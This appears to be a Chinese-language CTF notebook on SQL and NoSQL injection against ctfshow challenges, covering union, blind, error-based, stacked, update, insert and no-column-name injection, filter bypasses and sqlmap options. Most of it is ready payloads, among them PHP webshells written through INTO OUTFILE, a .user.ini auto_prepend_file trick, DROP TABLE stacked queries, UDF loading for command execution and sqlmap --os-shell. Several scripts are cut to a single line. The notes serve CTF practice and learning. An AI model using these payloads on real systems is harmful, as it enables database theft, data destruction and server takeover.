interesting4
mysql
information_schema->columns,tables,schemata
注释:
--%20
#
列出所有数据库
show databases
查看某个数据库中的表
use mysql; |
select
#查看当前选择是哪个库 |
#查询数据 *-> any |
union
#测试字段数 |
group_concat()
将查询的字段数合并一起输出
一次简单的注入
查询语句:$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
正常查询:select username,password from user where username !='flag' and id ='1' limit 1;
注入查询:
- 加个单引号
select username,password from user where username !='flag' and id ='1'' limit 1;
报错 - 加注释
1' --+
- order by测试列
1' order by 4 --+
报错,列数不够递减直到正常 - union查询 union语句来连接查询,并且在前面把id改成-1以达到把查询id回显的数据给置空的目的
-1 union select database(),2,3 --+
查询到数据库名字
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+
查询到表名
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+
查询到列名
-1' union select password,2,3 from ctfshow_user--+
查询到flag
from ctfshow_user4
from ctfshow_web.ctfshow_user4 --+
盲注
布尔盲注
#! -*- encoding:utf-8 -*- |
时间盲注
web 214 217 有详细脚本
import requests |
like盲注
import requests |
regexp盲注
import requests |
load_file盲注
LOAD_FILE(file_name)
: 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
import requests |
trim盲注
import requests |
join
RIGHT JOIN 会读取右边数据表的全部数据,即使左边边表无对应数据
MySQL LEFT JOIN 会读取左边数据表的全部数据,即使右边表无对应数据
INNER JOIN(也可以省略 INNER 使用 JOIN,效果一样)来连接以上两张表来读取a表中所有x字段在b表对应的y字段值
WAF绕过
过滤等号
> |
过滤注释
%00
异或
select 1^1^1; # 1 |
1' and '1'='1 |
过滤where
- group by id having id regexp(0x…)
- right join on
ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725 #ctfshow% 16进制编码后--> 0x63746673686f7725 |
过滤回显
编码绕过
如$row->username!=='flag'
用base64编码或者hex编码绕过
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
查询结果写入文件
直接查询
1' union select username , password from ctfshow_user4 where username='flag' into outfile'/var/www/html/ctf.txt' --+
webshell
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
替换字符
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+
过滤数字
Expression | Value |
---|---|
false | 0 |
true | 1 |
true+true | 2 |
floor(pi()) | 3 |
ceil(pi()) | 4 |
floor(pi())+true | 5 |
floor(pi())+floor(pi()) | 6 |
floor(pi())+ceil(pi()) | 7 |
ceil(pi())+ceil(pi()) | 8 |
floor(pi())*floor(pi()) | 9 |
floor(pi())*floor(pi())+true | 10 |
过滤ascii
替换成ord
函数:返回字符串的第一个字符的ascii值
过滤substr
-trim
函数:去除字符串首尾的空格或其他字符
-^
匹配字符的开头 正则表达式’^abc’将会匹配任何以’abc’开始的行或字符串。例如,它会匹配’abcdef’,但不会匹配’abcdefabc’的第二个’abc’,因为那个’abc’并不在行或字符串的开头
-right
从右边开始截取,配合ascii使用.
ascii(‘str’)返回字符串的第一个字符的ascii码
ascii(right('abc',2))= 97
相当于 ascii('bc')=97
left
从左边开始截取,用reverse
反转
ascii(reverse(left('abc',2))) = 97
相当于ascii('bc')=97
mid
mid和substr效果一样,代码同上
过滤information_schema
可以考虑mysql或者sys
mysql.innodb_table_stats
mysql.innodb_index_stats
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.schema_table_statistics
过滤sleep
benchmark(10000000,md5(1)) 用来延时
笛卡尔积
get_lock()
regexp rlike
万能密码
md5($password,true)
ffifdyop |
mysql弱比较
$sql = "select pass from ctfshow_user where username = {$username}"; |
以字母开头的数据在和数字比较时,会被强制转换为0
如果有某个数据不是以字母开头,是匹配不成功的,这种情况可以用||运算符
username=1||1&password=0
堆叠注入
update改密码
0x61646d696e;update`ctfshow_user`set`pass`=123456
emmm
if($row[0]==$password){ |
这样操作$row[0]
就是1,就可以绕过了
insert
insert ctfshow_user(
username,
pass) value(0,0);
直接插入一条数据
alter
import requests |
把id和password互换再爆破
handler
handler 解法
payload1: ctfshow';show tables%23
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}
payload2: ctfshow';handler ctfshow_flagasa open as t;handler t read first;handler t close%23
登录后复制
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}
预处理
预处理解法
concat 和 char 都可以绕过过滤。
def make_payload(sql: str) -> str: |
也可以concatPrepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;
这是char:
payload1: make_payload("show tables;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}
payload2: make_payload("select * from ctfshow_flagasa;")
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}
concat 或 char 函数可以用 0x 代替
def make_payload(sql: str) -> str: |
other:
'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i) |
mysql存储过程
information_schema 数据库中的 Routines 表中,存储了所有存储过程和函数的定义。使用 SELECT 语句查询 Routines 表中的存储过程和函数的定义时,一定要使用 ROUTNE_NAME 字段指定存储过程或函数的名称。否则,将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同,则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = ' sp_name ' ;
其中,ROUTINE_NAME
字段中存储的是存储过程和函数的名称; sp_name
参数表示存储过程或函数的名称。
drop create/truncate insert
1;drop table ctfshow_user;create table ctfshow_user(username varchar(255),pass varchar(255));insert ctfshow_user values(1,1)
drop table ctfshow_user;
这条命令会删除(或者说,“丢弃”)名为ctfshow_user
的数据库表。这将会移除表以及表中的所有数据。
create table ctfshow_user(username varchar(255),pass varchar(255));
这条命令会创建一个新的表 ctfshow_user
,并且为其定义了两个列username
和pass
。这两个列的数据类型都是varchar(255)
,也就是最长为255字符的变长字符串
insert
操作可以不加into
TRUNCATE语句只删除表中的所有数据,而不删除表本身。所以你不需要再用CREATE语句重新创建表
truncate
:1;TRUNCATE TABLE ctfshow_user;INSERT INTO ctfshow_user(username, pass) VALUES (1,1);
sqlmap
#POST 需要 --data 'a=1&b=2' --dbs |
报错注入: sqlmap -u [目标url] --current-db --batch --threads 10 --technique E
布尔盲注: sqlmap -u [目标url] --current-db --batch --threads 10 --technique B
时间盲注: sqlmap -u [目标url] --current-db --batch --threads 10 --technique T -v 3
!POST注入(*标识哪里 就对哪里进行打击)
sqlmap -u "目标url" --data "uname=admin*&passwd=admin&submit=Submit" --dbs --batch --threads 10 --technique E
SQLmap实现Http-header头注入之
1.User-Agent注入 :
在使用请求头注入的时候,–level必须大于3
sqlmap -u [目标url] --user-agent="抓包得到的对应的内容*" --level 4 --dbs --threads 10 --batch --technique E
2.Cookie注入 :
sqlmap -u [目标url] --cookie="原来*的cookie内容" --level 4 --dbs --threads 10 --batch --technique E
api调用需要鉴权
--safe-url
设置在测试目标地址前访问的安全链接
--safe-freq
设置两次注入测试前访问安全链接的次数
--safe-url http://6875a9a6-d8df-40be-8ba4-c97268e5952f.challenge.ctf.show/api/getToken.php --safe-freq 1
一些补充
--technique B
布尔盲注
--technique E
报错注入
--technique U
union查询注入
--technique S
堆叠注入
--technique T
时间盲注
--technique Q
内联查询注入
脚本绕过限制
eg:sqlmap -u "目标网址" -D [数据库名] -T [表名] -C [列名] --dump --tamper space2comment.py
本机脚本存放位置:/opt/homebrew/Cellar/sqlmap/1.7.6/libexec/tamper/
举例如下tamper脚本:
apostrophemask.py 用utf8代替引号 |
–os-shell
–os-shell
其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限
在mysql中,由secure_file_priv
参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出
sqlmap两个文件,一个是tmpbsyns.php
,另一个是tmpurinp.php
,其中tmpbsyns.php
是用来执行命令的,tmpurinp.php
则是用来上传文件的
tmpbsyns.php
tmpurinp.php
最后附上一个sqlmap例子
sqlmap -u http://b33260ff-e59f-43b3-a76a-b0abe8dbf074.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --safe-url http://b33260ff-e59f-43b3-a76a-b0abe8dbf074.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper="revbaserev.py "
limit注入
此方法适用于MySQL 5.x中,在limit语句后面的注入
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
如果不支持报错注入的话,还可以基于时间注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
group by
报错注入
使用ceil()
(向上取整)代替floor()
。当然也可以使用round()
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
floor(rand(0)*2)
产生的随机数前6位一定是0 1 1 0 1 1
concat()
用于将字符串连接
concat(database(),floor(rand(0)*2))
生成database()+"0"
或database()+"1"
的数列,而前六位的顺序一定是
database()+"0"
database()+"1"
database()+"1"
database()+"0"
database()+"1"
database()+"1"
报错具体过程:
建立临时表
取第一条记录,执行concat(database(),floor(rand(0)*2))(第一次执行),结果为database()+“0”
,查询临时表,发现database()+"0"
这个主键不存在,则准备执行插入,此时又会在执行一次concat(database(),floor(rand(0)*2))
(第二次执行),结果是database()+“1”
,然后将该值作为主键插入到临时表。*(真正插入到临时表中的主键是database()+“1”,concat(database(),floor(rand(0)2))
执行了两次)
取第二条记录,执行concat(database(),floor(rand(0)2))
(第三次执行),结果为database+“1”
,查询临时表,发现该主键存在,count()的值加1
取第三条记录,执行concat(database(),floor(rand(0)*2))
(第四次执行),结果为database()+“0”
,查询临时表发现该主键不存在,则准备执行插入动作,此时又会在执行一次concat(database(),floor(rand(0)*2))
(第五次执行),结果是database()+“1”
,然后将该值作为主键插入到临时表。但由于临时表已经存在database()+"1"
这个主键,就会爆出主键重复,同时也带出了数据库名,这就是group by
报错注入的原理
基于时间的盲注
web222
查询语句
//分页查询
$sql = select * from ctfshow_user group by $username;
每则数据都需要group by归类,所以都会执行sleep语句,那么有几条数据就会执行几次sleep
利用
select * from ctshow_user group by 1,if(1=1,sleep(0.05),1)
奇怪的上传 finfo&exif文件信息注入
魔术字节
在~/ctf/payload.bin
首先肯定是有数据库存储相关文件信息(上图中的filetype),因此查询一下PHP有哪些函数或者方法会有这样的功能,查询PHP官方手册后可以发现,其中finfo对象以及finfo_file函数是有这个功能的
因此就可以大胆猜测在filetype会存在SQL注入,并且SQL语句应该是insert开头的插入语句
那么如何控制这个filetype呢?
我们可以使用file命令查看一个文件的信息
这一个命令一出是不是就发现和上面那个页面的filetype十分相似了呢?
那么是否有工具可以控制这个filetype呢?有的,那就是exiftool
insert into columns('字段1','字段2','字段3') value('值1','值2','值3')
因此注入语句
123"';select if(1,sleep(5),sleep(5));--+
具体的exiftool的命令为
exiftool -overwrite_original -comment="123\"');select if(1,sleep(5),sleep(5));--+" avatar.jpg
利用exiftool添加comment之后,使用file命令查看文件信息
可以看到,命令已经成功注入到了comment中,上传该图片,就可以发现明显有延迟,所以命令注入成功。
之后拿flag就很简单了,利用into outfile写入一句话木马即可,这里就不赘述了。
update注入
//分页查询 |
update 注入,可以布尔盲注,但更方便的是注入 password 处逗号分隔用要查的数据改掉 username ,注释掉后面的条件可覆盖所有的记录,再查询数据实现回显。
payload1: password=ctfshow',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flaga
payload2: password=ctfshow',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=nonono
username: id,flagas,info
payload3: password=ctfshow',username=(select flagas from flaga)%23&username=nonono
username 找到 flag。
一个有趣的事:
如果引号闭合 没有过滤\
那么可以使第一个参数后的引号转义 这样就可以注入了。
update ctfshow_user set pass = '\' where username = ',username=database()#' |
查询语句$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
eg:password=\&username=,username=(select group_concat(flagass233) from flag233333)%23
密码变成了' where username =
%23
注释掉了后面的'
无列名注入
基于join的无列名注入的场景与方法
select Host,User,Select_priv from user where User="root"
在上述场景中用户可以控制的输入是字符串"root",假设的攻击场景中我们可以突破双引号闭合并进行任意sql注入。但是我们无法获取到表的列名信息,只知道我们想要攻击的表的名字为"test"。
使用order by 猜解查询语句的查询的字段数
构造下述查询语句,通过修改其中的“1”部分为"1,2,3,…,n",猜解"test"的列数。当列数猜解正确时,便成功提取了test表中的信息。
select Host,User,Select_priv from user where User="root" and 0=1 union select * from (select 1 as a) as a join test as b limit 1;
基于union select的无列名注入(子查询)
对于下述语句,select只查询了一个字段,而我们的test表总共有两个字段。并且我们同样不知道test的列名。而join方法显然不能使union select左右两侧查询的列数相等。
select 1,2,3,4,5 union select * from table;
猜列数
select `2` from (select 1,2,3,4,5 union select * from table)a;
查询对应列
(select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a;
如果过滤```)
我们需要通过修改其中的“1,2”部分为"1,2,3,…,n",猜解"test"的列数,另外请注意反引号的使用
0'/**/union/**/select/**/1,2,group_concat(`2`)/**/from/**/(select/**/2/**/union/**/(select/**/*/**/from/**/ctftraining.flag))a/**/;%00
1 union select *from (select `2` from (select 1,2 union select* from test) as b) as c limit 1 offset 1;
password=%5C&username=,username=(select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from flaga)a limit 1,3)%23
password=%5C&username=,username=(select d from (select 1,2 as d,3 union select * from flag23a1)a)%23
这些都是可以的
insert注入
eg:
//插入数据 |
#获取表名 |
delete注入
//删除记录 |
后面加一个sleep(1)
就是时间盲注
具体见web241
file模块
eg
//备份表 |
SELECT ... INTO OUTFILE 'file_name' |
FIELDS TERMINATED BY、 LINES STARTING BY、 LINES TERMINATED BY
三个参数可以用来插入shell。
filename=1.php' lines terminated by '<?php eval($_POST[1]); ?>'%23
ini 文件中注释 ;
开头
filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
也就是如下语句,只不过在auto_prepend_file=1.jpg
前后加了%0a用于换行,保证注入的内容单独在一行
filename=.user.ini' lines starting by ';' terminated by "auto_prepend_file=1.jpg"#
再上传图片马filename=1.jpg' lines starting by '<?=eval($_POST[1]);?>'#
error注入
1. floor + rand + group by |
eg:1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23
1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')),1) %23
1' and updatexml(1,concat(0x7c,(select flag1 from ctfshow_flagsa)),1) %23
1' and updatexml(1,concat(0x7c,mid((select flag from ctfshow_flag),30,30)),1) %23
双查询注入
(偷来的)
额,和floor报错注入有什么区别
uaf注入
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;"; |
mysql的UAF注入,简单来说就是把dll文件写到目标机子的plugin目录,这个目录是可以通过select @@plugin_dir来得到的。
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; //导入udf函数
web248
nosql
$gt : > |
eg
//无 |
username[$ne]=1&password[$ne]=1
或者正则
username[$regex]=.*&password[$regex]=.*
username[$regex]=^[^a].*$&password[$ne]=1
-> username不以a开头 password不等于1